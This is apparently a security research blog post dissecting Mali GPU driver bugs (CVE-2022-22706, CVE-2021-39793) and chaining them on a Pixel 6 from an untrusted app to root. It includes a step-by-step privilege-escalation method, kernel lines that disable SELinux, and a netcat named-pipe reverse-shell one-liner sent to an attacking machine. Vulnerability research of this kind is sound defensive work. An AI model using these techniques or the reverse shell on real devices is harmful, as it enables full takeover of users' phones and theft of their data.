Imagine downloading a game from a third-party app store. You grant it seemingly innocuous permissions, but hidden within the app is a malicious exploit that allows attackers to steal your photos, eavesdrop on your conversations, or even take complete control of your device. This is the kind of threat posed by vulnerabilities like CVE-2022-22706
and CVE-2021-39793
, which we’ll be dissecting in this post. These vulnerabilities affect Mali GPUs, commonly found in many Android devices, and allow unprivileged apps to gain root access.
Vulnerability Overview
Affected Products
Product | Mali GPU Kernel Driver |
---|---|
Vendor | ARM |
Severity | High - A non-privileged user can get a write access to read-only memory pages. |
Affected Versions | - Midgard GPU Kernel Driver: All versions from r26p0 - r31p0 - Bifrost GPU Kernel Driver: All versions from r0p0 - r35p0 - Valhall GPU Kernel Driver: All versions from r19p0 - r35p0 |
Tested Versions | - Pixel 6, MP1.0, 2022 - Downgraded to Android 12.0.0 (SD1A.210817.015.A4 , Oct 2021) - Linux localhost 5.10.43-android12-9-00002-g4fb696975cdd-ab7658202 #1 SMP PREEMPT Thu Aug 19 00:59:56 UTC 2021 aarch64 |
CWE | CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer |
CVSS3.1 Score
- Base Score: 7.8 (High)
- Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Termux
This Termux output shows the context of the exploit, running from an unprivileged untrusted app context.
~ $ cat /proc/self/attr/current
u:r:untrusted_app_27:s0:c222,c256,c512,c768
~ $ id
uid=10222(u0_a222) gid=10222(u0_a222) groups=10222(u0_a222),3003(inet),9997(everybody),20222(u0_a222_cache),50222(all_a222)
Root Cause Analysis
We found a critical vulnerability in the kbase_jd_user_buf_pin_pages()
function of the Mali GPU kernel driver. This function is crucial: it manages how the GPU accesses memory, preparing user-provided memory buffers and (supposedly) ensuring the app has the right permissions (read or write). Looking at the Patch Changelist
, the issue becomes clear. The vulnerability is in how kbase_jd_user_buf_pin_pages()
checks those permissions. It’s all about the KBASE_REG_GPU_WR
(GPU Write) and KBASE_REG_CPU_WR
(CPU Write) flags—they tell the driver what kind of access is needed. An app should need both flags set for GPU write access, but the code only checks for KBASE_REG_GPU_WR
flag, leaving a gaping hole.
@@ -1,7 +1,7 @@
// SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
/*
*
- * (C) COPYRIGHT 2010-2021 ARM Limited. All rights reserved.
+ * (C) COPYRIGHT 2010-2022 ARM Limited. All rights reserved.
*
* This program is free software and is provided to you under the terms of the
* GNU General Public License version 2 as published by the Free Software
@@ -1683,7 +1683,8 @@
/* The allocation could still have active mappings. */
if (user_buf->current_mapping_usage_count == 0) {
kbase_jd_user_buf_unmap(kctx, reg->gpu_alloc,
- (reg->flags & KBASE_REG_GPU_WR));
+ (reg->flags & (KBASE_REG_CPU_WR |
+ KBASE_REG_GPU_WR)));
}
}
}
@@ -4561,6 +4562,7 @@
struct mm_struct *mm = alloc->imported.user_buf.mm;
long pinned_pages;
long i;
+ int write;
if (WARN_ON(alloc->type != KBASE_MEM_TYPE_IMPORTED_USER_BUF))
return -EINVAL;
@@ -4575,41 +4577,37 @@
if (WARN_ON(reg->gpu_alloc->imported.user_buf.mm != current->mm))
return -EINVAL;
+ write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
+
#if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
- pinned_pages = get_user_pages(NULL, mm,
- address,
- alloc->imported.user_buf.nr_pages,
+ pinned_pages = get_user_pages(
+ NULL, mm, address,
+ alloc->imported.user_buf.nr_pages,
#if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
- reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
- pages, NULL);
+ write ? FOLL_WRITE : 0, pages, NULL);
#else
- reg->flags & KBASE_REG_GPU_WR,
- 0, pages, NULL);
+ write, 0, pages, NULL);
#endif
#elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
- pinned_pages = get_user_pages_remote(NULL, mm,
- address,
- alloc->imported.user_buf.nr_pages,
- reg->flags & KBASE_REG_GPU_WR,
- 0, pages, NULL);
+ pinned_pages = get_user_pages_remote(
+ NULL, mm,
+ address, alloc->imported.user_buf.nr_pages,
+ write, 0, pages, NULL);
#elif KERNEL_VERSION(4, 10, 0) > LINUX_VERSION_CODE
- pinned_pages = get_user_pages_remote(NULL, mm,
- address,
- alloc->imported.user_buf.nr_pages,
- reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
- pages, NULL);
+ pinned_pages = get_user_pages_remote(
+ NULL, mm,
+ address, alloc->imported.user_buf.nr_pages,
+ write ? FOLL_WRITE : 0, pages, NULL);
#elif KERNEL_VERSION(5, 9, 0) > LINUX_VERSION_CODE
- pinned_pages = get_user_pages_remote(NULL, mm,
- address,
- alloc->imported.user_buf.nr_pages,
- reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0,
- pages, NULL, NULL);
+ pinned_pages = get_user_pages_remote(
+ NULL, mm,
+ address, alloc->imported.user_buf.nr_pages,
+ write ? FOLL_WRITE : 0, pages, NULL, NULL);
#else
pinned_pages = pin_user_pages_remote(
mm, address, alloc->imported.user_buf.nr_pages,
- reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0, pages, NULL,
- NULL);
+ write ? FOLL_WRITE : 0, pages, NULL, NULL);
#endif
if (pinned_pages <= 0)
@@ -4843,7 +4841,7 @@
kbase_reg_current_backed_size(reg),
kctx->as_nr);
- if (reg && ((reg->flags & KBASE_REG_GPU_WR) == 0))
+ if (reg && ((reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR)) == 0))
writeable = false;
kbase_jd_user_buf_unmap(kctx, alloc, writeable);
The patch shows the core of the problem. The FOLL_WRITE
flag is set if KBASE_REG_GPU_WR
is set, but not KBASE_REG_CPU_WR
. This is incorrect. It should only be set if both flags are set. Because of this oversight, a malicious app can request CPU write access (by setting KBASE_REG_CPU_WR
) without needing the required GPU write access (KBASE_REG_GPU_WR
). This allows the app to bypass the intended security checks and gain write access to memory that it shouldn’t be allowed to modify. This ability to write to read-only memory is the fundamental primitive that the rest of the exploit relies on. It allows the attacker to inject malicious code into privileged processes and ultimately gain root access.
Triggering the bug
By exploiting this vulnerability, we can force the Mali driver to grant write permissions to a read-only memory region. The following steps outline the exploit:
-
Allocate a Read-Write Memory Page: We start by allocating a memory page with read-write permissions.
-
Import the Mapping with
KBASE_REG_CPU_WR
(WithoutKBASE_REG_GPU_WR
): Due to a missing check in the driver, this inadvertently grants GPU write access. -
Map the Imported Buffer into the GPU VA Space: The buffer is assigned a virtual address in the GPU’s address space.
-
Unmap the Original Read-Write Mapping: The original mapping is then removed.
-
Remap the Same Address with a Read-Only Page: This results in a scenario where the CPU sees the page as read-only, while the GPU retains write access.
-
Submit a GPU Job with GPU VA mapping as
BASE_JD_REQ_EXTERNAL_RESOURCES
: This triggers the vulnerable functionkbase_jd_user_buf_pin_pages()
, enabling writes to the read-only memory.
At this point, we can modify memory pages that should be read-only from the CPU’s perspective by leveraging the GPU VA mapping from userspace.
Exploitation Primitive
- Capability: Ability to write to read-only memory pages of files.
- Impact:
- Modified memory pages of file are cached in memory for use by other processes
- Modifications are not saved to disk
Prerequisites:
- Ability to open and read the target file.
- Permission to use
ioctl
, read, and write ongpu_device
.
By injecting hooks and payloads into read-only shared libraries, we can manipulate execution flow in privileged processes, such as init
. Since all domains can read files of type system_lib_file
, this technique is widely applicable:
oriole:/data/local/tmp $ ./sesearch policy -A -t system_lib_file
Found 3 semantic av rules:
allow domain system_lib_file : lnk_file { read getattr open } ;
allow domain system_lib_file : file { read getattr map execute open } ;
allow domain system_lib_file : dir { ioctl read getattr lock open watch watch_reads search } ;
However, not all domains can invoke ioctl, read, and write on gpu_device
. Fortunately, low-privileged domains such as shell and untrusted_app
are permitted to do so:
allow shell gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_25 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_27 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
allow untrusted_app_29 gpu_device:chr_file { append getattr ioctl lock map open read watch watch_reads write };
This enables hijacking privileged processes from shell
and untrusted_app
via system_lib_file
modifications.
Attack Strategy: Root Reverse Shell
- Objective: Escalate privileges to obtain a root reverse shell from
untrusted_app_27
. - Challenge: Bypass SELinux enforcement.
- Solution: Load an arbitrary kernel module.
First, we identify domains with module_load
permission using the device’s SELinux policy located at /sys/fs/selinux/policy
:
oriole:/data/local/tmp $ ./sesearch policy -A -p module_load | grep -v magisk
Found 168 semantic av rules:
allow ueventd vendor_file : system module_load ;
allow init-insmod-sh vendor_kernel_modules : system module_load ;
allow vendor_modprobe vendor_file : system module_load ;
Among these, only init-insmod-sh
has an automatic type transition where it is the destination:
type_transition init init-insmod-sh_exec : process init-insmod-sh;
Since init-insmod-sh
can be executed by running a file of type init-insmod-sh_exec
, we locate the relevant executable (/vendor/bin/init.insmod.sh
) on this device.
Escalating to Root via init
Hijacking
To achieve full system compromise, we target the init
process. init operates with two threads in do_epoll_wait
, making it a viable attack vector:
LABEL USER PID TID PPID VSZ RSS WCHAN ADDR S CMD
u:r:init:s0 root 1 1 0 10917568 5452 do_epoll_wait 0 S init
u:r:init:s0 root 1 372 0 10917568 5452 do_epoll_wait 0 S init
One of the threads is the main thread, while the other is the PropertyServiceThread
, which is spawned from StartPropertyService
in SecondStageMain
. By targeting either of these threads, we can potentially exploit the init
process to gain further control.
void StartPropertyService(int* epoll_socket) {
...
if (auto result = CreateSocket(PROP_SERVICE_NAME, SOCK_STREAM | SOCK_CLOEXEC | SOCK_NONBLOCK,
false, 0666, 0, 0, {});
result.ok()) {
property_set_fd = *result;
} else {
...
}
listen(property_set_fd, 8);
auto new_thread = std::thread{PropertyServiceThread};
property_service_thread.swap(new_thread);
}
The PropertyServiceThread
registers an epoll handler on the property_set_fd
listening socket and then enters a loop where it repeatedly calls epoll_wait
with an infinite timeout. This creates a long-lived, blocking operation that can be exploited to hijack the thread’s execution flow if an appropriate trigger or attack vector is identified.
static void PropertyServiceThread() {
...
if (auto result = epoll.RegisterHandler(property_set_fd, handle_property_set_fd);
!result.ok()) {
...
}
...
while (true) {
auto pending_functions = epoll.Wait(std::nullopt);
...
}
}
Result<std::vector<std::shared_ptr<Epoll::Handler>>> Epoll::Wait(
std::optional<std::chrono::milliseconds> timeout) {
int timeout_ms = -1;
...
auto num_events = TEMP_FAILURE_RETRY(epoll_wait(epoll_fd_, ev, max_events, timeout_ms));
...
}
To wake this thread up, we can call /system/bin/setprop
with any valid name and value argument. This will trigger the sending of a PROP_MSG_SETPROP2
command to the socket, causing epoll_wait
to return and handle_property_set_fd
to run. init
can then be hijacked by using the Mali write to hook any one of the imported library functions called in handle_property_set_fd
.
static void handle_property_set_fd() {
...
int s = accept4(property_set_fd, nullptr, nullptr, SOCK_CLOEXEC);
...
SocketConnection socket(s, cr);
...
if (!socket.RecvUint32(&cmd, &timeout_ms)) {
...
}
switch (cmd) {
case PROP_MSG_SETPROP: {
...
}
case PROP_MSG_SETPROP2: {
...
if (!socket.RecvString(&name, &timeout_ms) ||
!socket.RecvString(&value, &timeout_ms)) {
...
}
...
uint32_t result = HandlePropertySet(name, value, source_context, cr, &socket, &error);
if (result != PROP_SUCCESS) {
LOG(ERROR) << "Unable to set property '" << name << "' from uid:" << cr.uid
<< " gid:" << cr.gid << " pid:" << cr.pid << ": " << error;
}
...
}
...
}
}
If setprop
lacks sufficient SELinux permissions, CheckMacPerms
in CheckPermissions
(invoked by HandlePropertySet
) will fail, triggering LOG(ERROR)
, which in turn calls android::base::LogMessage::LogMessage
in /system/lib64/libbase.so
. Exploiting the Mali write primitive, we can hook into one of these imported functions to hijack execution and escalate privileges to root.
LogMessage
internally calls std::ios_base::init
in /system/lib64/libc++.so
, which we can hook to hijack init
.
However, for untrusted_app
, calling /system/bin/setprop
directly won’t work to trigger the hijack. Although the execution of setprop
is permitted, since setprop
actually points to /system/bin/toolbox
(type toolbox_exec
), there will be no domain transition and setprop
will execute in the domain of untrusted_app
. In that domain, it cannot trigger the communication to the socket because of the SELinux policy.
allow untrusted_app toolbox_exec:file { execute execute_no_trans getattr ioctl lock map open read watch watch_reads };
avc: denied { write } for comm="setprop" name="property_service" dev="tmpfs" ino=361 scontext=u:r:untrusted_app_27:s0:c222,c256,c512,c768 tcontext=u:object_r:property_socket:s0 tclass=sock_file permissive=0
# Do not allow untrusted apps to connect to the property service
# or set properties. b/10243159
neverallow { all_untrusted_apps -mediaprovider } property_socket:sock_file write;
neverallow { all_untrusted_apps -mediaprovider } init:unix_stream_socket connectto;
neverallow { all_untrusted_apps -mediaprovider } property_type:property_service set;
The SELinux policy prevents our untrusted application from directly interacting with the property service, which is necessary to trigger the init
hijack via /system/bin/setprop
. To circumvent this, we leverage the Mali write vulnerability to hijack a process in a domain with the appropriate permissions.
vold
was identified as a suitable target. It operates within a domain that is granted write
access to the property_socket
and execute
permission on toolbox_exec
, the latter being used by setprop
. Furthermore, vold
runs as the root user and regularly calls imported functions, allowing us to inject our hooks. The specific function targeted was _ZNK7android7RefBase9decStrongEPKv
within /system/lib64/libutils
.so.
A key consideration was the frequency with which vold
executes code. Its 30-second intervals introduced a potential delay of up to 30 seconds before our hook would be triggered. servicemanager
, while running at a faster 5-second interval, presented a different challenge. It was observed to sometimes execute cached code, even after the corresponding library functions had been hooked, rendering this approach unreliable. Therefore, despite the potential delay, vold
was chosen as the more consistent, albeit slower, method for triggering the init
hijack.
Overwriting Vendor Kernel Modules
Having established a pathway to execute code within the init-insmod-sh
context, our next objective is to inject our malicious kernel module. Crucially, init-insmod-sh
is restricted to loading modules of the vendor_kernel_modules
type, as enforced by the SELinux policy:
allow init-insmod-sh vendor_kernel_modules : system module_load ;
These modules reside in /vendor/lib/modules/*.ko
, which are symbolic links to /vendor_dlkm/lib/modules/*.ko
. The vendor_kernel_modules
type also carries the vendor_file_type
attribute:
# kernel modules
type vendor_kernel_modules, vendor_file_type, file_type;
This presents a challenge: our untrusted app, even with the Mali write primitive, likely lacks the permissions to directly modify these files. Therefore, we need to leverage another process with the necessary capabilities. Our strategy is to hijack a process within a domain that can both interact with the Mali driver (for writing) and access files of type vendor_file_type
.
hal_neuralnetworks_armnn
emerged as a suitable candidate. This domain fulfills our requirements and, importantly, can be reached via a type transition from init
:
type_transition init hal_neuralnetworks_armnn_exec:process hal_neuralnetworks_armnn;
The associated executable, /vendor/bin/hw/[email protected]
(of type hal_neuralnetworks_armnn_exec
), is a one-shot CLI binary. This is advantageous because it simply executes and exits when no special arguments are provided, avoiding the creation of persistent, potentially conflicting background services.
To gain control within the hal_neuralnetworks_armnn
context, we again employ the Mali write primitive. This time, we hook the __android_log_print
function within /system/lib64/liblog.so
. Hijacking this function allows us to inject arbitrary code into the hal_neuralnetworks_armnn
process, enabling us to then write our malicious kernel module payload to the target /vendor_dlkm/lib/modules/*.ko
location. This multi-stage approach allows us to bypass SELinux restrictions and achieve our goal of overwriting the kernel module.
Loading Kernel Module
The next step after overwriting vendor_kernel_modules
files is to load them while in init-insmod-sh
.
init
transitions to init-insmod-sh
by executing /vendor/bin/init.insmod.sh
, and this shell script has built-in functionality to load modules in /vendor/lib/modules/
with /vendor/bin/modprobe
when supplied with the correct config file argument.
#!/vendor/bin/sh
#############################################################
### init.insmod.cfg format: ###
### ----------------------------------------------------- ###
### [insmod|setprop|enable/moprobe|wait] [path|prop name] ###
### ... ###
#############################################################
modules_dir=
for f in /vendor/lib/modules/*/modules.dep /vendor/lib/modules/modules.dep; do
if [[ -f "$f" ]]; then
modules_dir="$(dirname "$f")"
break
fi
done
...
if [ $# -eq 1 ]; then
cfg_file=$1
else
...
fi
if [ -f $cfg_file ]; then
while IFS="|" read -r action arg
do
case $action in
...
"modprobe")
case ${arg} in
"-b *" | "-b")
arg="-b --all=${modules_dir}/modules.load" ;;
"*" | "")
arg="--all=${modules_dir}/modules.load" ;;
esac
modprobe -a -d "${modules_dir}" $arg ;;
...
esac
done < $cfg_file
fi
The selection of a kernel module to overwrite and load required careful consideration. We chose /vendor/lib/modules/pktgen.ko
because it is a relatively unimportant module and, crucially, it was currently unloaded. This minimized the risk of disrupting system functionality during the exploit. To instruct /vendor/bin/init.insmod.sh
to load this module, we needed to provide a configuration file containing the line modprobe|pktgen\n
.
However, SELinux presented a hurdle. The init-insmod-sh
script is restricted by policy to reading only files of specific types, including vendor_file_type
. Our untrusted app, even with the Mali write capability, cannot directly create or modify files of this type in the necessary locations. Therefore, we leveraged the hal_neuralnetworks_armnn
process (already hijacked in a previous step) to perform this operation.
We identified /vendor/etc/modem/logging.conf
as a suitable target for overwriting. This file is small, appears to be non-essential, and, importantly, is of type vendor_configs_file
, which possesses the required vendor_file_type
attribute. The relevant SELinux rules are:
allow init-insmod-sh vendor_file_type:file { execute getattr map open read };
# Default type for everything under /vendor/etc/
type vendor_configs_file, vendor_file_type, file_type;
Using the Mali write primitive within the hal_neuralnetworks_armnn
context, we overwrote /vendor/etc/modem/logging.conf
with the modprobe|pktgen\n
line. Subsequently, executing the unmodified /vendor/bin/init.insmod.sh
from the init
process, providing the modified /vendor/etc/modem/logging.conf
file as an argument, resulted in the successful loading of our overwritten /vendor/lib/modules/pktgen.ko
module.
Bypassing SELinux and Obtaining a Root Reverse Shell
With our malicious kernel module loaded, we can now disable SELinux enforcing mode, a crucial step for achieving full system compromise. This is accomplished within the loaded kernel module by setting the enforcing
flag to false
:
WRITE_ONCE(selinux_state->enforcing, false);
To ensure that SELinux constraints are completely lifted, we also flush the Access Vector Cache (AVC):
avc_ss_reset(selinux_state->avc, 0);
Having successfully disabled SELinux, we are now free to establish a root reverse shell. The target device conveniently includes netcat
(actually toybox
’s nc
) which we can use for this purpose:
oriole:/ $ which nc
/system/bin/nc
oriole:/ $ ls -la /system/bin/nc
lrwxrwxrwx 1 root shell 6 2024-07-10 01:23 /system/bin/nc -> toybox
oriole:/ $ nc --help # Output from toybox nc
Toybox 0.8.4-android multicall binary: https://landley.net/toybox (see toybox --help)
usage: netcat [-46ELUlt] [-u] [-wpq #] [-s addr] {IPADDR PORTNUM|-f FILENAME|COMMAND...}
...
We crafted a simple shell script to create a named pipe (/dev/_f
) and use it in conjunction with nc
to establish the reverse shell:
#!/bin/sh
rm /dev/_f;mkfifo /dev/_f;cat /dev/_f|sh -i 2>&1|nc localhost 4444 >/dev/_f
This script was dropped onto the device from our untrusted app, and then executed by the hijacked init
process. On our attacking machine, we set up a listener using ncat
(or nc
):
C:\ncat-portable-5.59BETA1>adb reverse tcp:4444 tcp:4444 # Forward port 4444 to the device
4444
C:\ncat-portable-5.59BETA1>ncat.exe -nlvp 4444 # Start listening on port 4444
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1:52021.
sh: can't find tty fd: No such device or address # Common message, often ignorable
sh: warning: won't have full job control # Also common
:/ # id # Verify root access
uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:toolbox:s0
:/ # getenforce # Confirm SELinux is disabled
Permissive
The output clearly demonstrates that we have successfully obtained a root reverse shell, with SELinux in permissive mode.
Exploit Execution: A Step-by-Step Breakdown
The exploit unfolds in a carefully orchestrated sequence of steps, leveraging the Mali write vulnerability to hijack various processes and ultimately gain root access. The process can be broken down as follows:
-
Payload Staging: The untrusted app begins by strategically placing payloads for later execution:
- Stage 3: Written to
/system/lib64/libldacBT_enc.so
. This payload will be migrated to for more space during a later stage. - Stage 2: Written to
/system/lib64/liblog.so
, along with a hook to hijack[email protected]
. - Stage 1: Written to
/system/lib64/libc++.so
, including a hook to hijack theinit
process. - Stage 0: Written to
/system/lib64/libutils.so
, containing a hook to hijackvold
. This stage is designed to trigger after a 30-second interval.
- Stage 3: Written to
-
Initial Trigger (
vold
Hijack): The stage 0 payload, waiting withinlibutils.so
, is triggered whenvold
executes its regular functions. This payload then executes/system/bin/setprop
to wake up theinit
process. -
Stage 1 Execution (
hal_neuralnetworks_armnn
Hijack):- The stage 1 payload within
init
executes/vendor/bin/hw/[email protected]
, transitioning execution to thehal_neuralnetworks_armnn
context. - The stage 2 payload within
hal_neuralnetworks_armnn
is executed. It maps memory and migrates the stage 3 payload from/system/lib64/libldacBT_enc.so
to this newly allocated space, providing more room for the subsequent operations. - The stage 3 payload then performs two crucial Mali write operations:
- It overwrites
/vendor_dlkm/lib/modules/pktgen.ko
with the malicious kernel module code. - It writes the configuration file contents (
modprobe|pktgen\n
) to/vendor/etc/modem/logging.conf
.
- It overwrites
- The stage 1 payload within
-
Signal and Stage 4 Setup: The stage 0 payload signals back to the untrusted app, indicating that the preparations are complete. The untrusted app then writes the stage 4 payload, containing a hook to hijack
init
again, to/system/lib64/libc++.so
. The reverse shell script is written to/data/data/com.termux/_rev.sh
. -
Final Trigger and Privilege Escalation: The stage 0 payload executes
/system/bin/setprop
again, waking upinit
for the final stage. -
Stage 4 Execution (SELinux Bypass and Reverse Shell):
- The stage 4 payload in
init
executes/vendor/bin/init.insmod.sh
with/vendor/etc/modem/logging.conf
as an argument. /vendor/bin/init.insmod.sh
then uses themodprobe
command to load the overwritten/vendor_dlkm/lib/modules/pktgen.ko
module. This module disables SELinux.- Finally, the stage 4 payload executes the reverse shell script located at
/data/data/com.termux/_rev.sh
, establishing a root reverse shell connection.
- The stage 4 payload in
This multi-stage approach allows the exploit to bypass SELinux restrictions and achieve root privilege escalation from an untrusted application. Each stage plays a crucial role in setting up the next, culminating in the execution of the malicious kernel module and the establishment of the root reverse shell.
Closing Thoughts
The vulnerabilities CVE-2022-22706
and CVE-2021-39793
in the Mali GPU driver present a serious security concern, allowing unprivileged users to write to read-only memory pages, potentially enabling privilege escalation and system compromise. Through careful exploitation of these flaws, attackers can manipulate memory and execute arbitrary code within critical system processes, such as init. By combining techniques like SELinux bypass, targeted hijacking of vulnerable processes, and kernel module injection, attackers can escalate their privileges and gain full control over affected devices. This post has demonstrated how these vulnerabilities can be chained together to achieve full device compromise, from an untrusted app to a root reverse shell. The core vulnerability, the missing KBASE_REG_CPU_WR
check, allows attackers to gain the critical write access. Users should ensure their devices are updated with the latest security patches to protect against such vulnerabilities
References
- https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-39793.html
- https://i.blackhat.com/Asia-23/AS-23-WANG-Two-bugs-with-one-PoC-Rooting-Pixel-6-from-Android-12-to-Android-13.pdf
- https://hitcon.org/2022/slides/How%20we%20use%20Dirty%20Pipe%20to%20get%20reverse%20root%20shell%20on%20Android%20Emulator%20and%20Pixel%206.pdf
- https://github.com/polygraphene/DirtyPipe-Android